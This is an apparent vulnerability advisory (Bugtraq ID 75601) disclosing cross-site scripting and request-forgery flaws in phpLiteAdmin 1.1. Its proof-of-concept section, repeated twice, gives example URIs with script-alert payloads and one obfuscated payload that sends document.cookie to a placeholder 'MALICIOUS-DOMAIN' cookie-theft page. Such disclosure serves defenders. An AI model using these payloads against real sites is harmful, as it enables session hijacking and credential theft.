phpLiteAdmin Cross Site Scripting and Cross Site Request Forgery Vulnerabilities
BID:75601
Info
phpLiteAdmin Cross Site Scripting and Cross Site Request Forgery Vulnerabilities
| Bugtraq ID: | 75601 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 06 2015 12:00AM |
| Updated: | Jul 06 2015 12:00AM |
| Credit: | John Page (hyp3rlinx) |
| Vulnerable: |
phpLiteAdmin phpLiteAdmin 1.1 |
| Not Vulnerable: | |
Discussion
phpLiteAdmin Cross Site Scripting and Cross Site Request Forgery Vulnerabilities
phpLiteAdmin is prone to multiple cross-site scripting vulnerabilities and a cross-site request-forgery vulnerability.
An attacker can exploit these vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, or perform unauthorized actions in the context of the affected application. Other attacks are also possible.
phpLiteAdmin 1.1 is vulnerable; other versions may also be affected.
phpLiteAdmin is prone to multiple cross-site scripting vulnerabilities and a cross-site request-forgery vulnerability.
An attacker can exploit these vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, or perform unauthorized actions in the context of the affected application. Other attacks are also possible.
phpLiteAdmin 1.1 is vulnerable; other versions may also be affected.
Exploit / POC
phpLiteAdmin Cross Site Scripting and Cross Site Request Forgery Vulnerabilities
To exploit these issues an attacker must entice an unsuspecting victim into following a malicious URI or visiting a malicious website.
The following example URIs are available:
http://www.example.com/phpliteadmin_v1-1/phpliteadmin.php/"'onMouseOver="(function(){varx='http';x+=String.fromCharCode(58)+String.fromCharCode(47)+String.fromCharCode(47)+'MALICIOUS-DOMAIN';window.open(x+String.fromCharCode(47)+'cookietheft.php'+String.fromCharCode(63)+'='+document.cookie);})()"
http://www.example.com/sectest/phpliteadmin_v1-1/phpliteadmin.php?droptable=<script>alert(666)</script>
http://www.example.com/phpliteadmin_v1-1/phpliteadmin.php?table="/><script>alert(666)</script>
To exploit these issues an attacker must entice an unsuspecting victim into following a malicious URI or visiting a malicious website.
The following example URIs are available:
http://www.example.com/phpliteadmin_v1-1/phpliteadmin.php/"'onMouseOver="(function(){varx='http';x+=String.fromCharCode(58)+String.fromCharCode(47)+String.fromCharCode(47)+'MALICIOUS-DOMAIN';window.open(x+String.fromCharCode(47)+'cookietheft.php'+String.fromCharCode(63)+'='+document.cookie);})()"
http://www.example.com/sectest/phpliteadmin_v1-1/phpliteadmin.php?droptable=<script>alert(666)</script>
http://www.example.com/phpliteadmin_v1-1/phpliteadmin.php?table="/><script>alert(666)</script>
Solution / Fix
phpLiteAdmin Cross Site Scripting and Cross Site Request Forgery Vulnerabilities
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
References
phpLiteAdmin Cross Site Scripting and Cross Site Request Forgery Vulnerabilities
References:
References:
- CSRF & XSS Vulnerabilities (Altervista)
- phpLiteAdmin Homepage (phpLiteAdmin)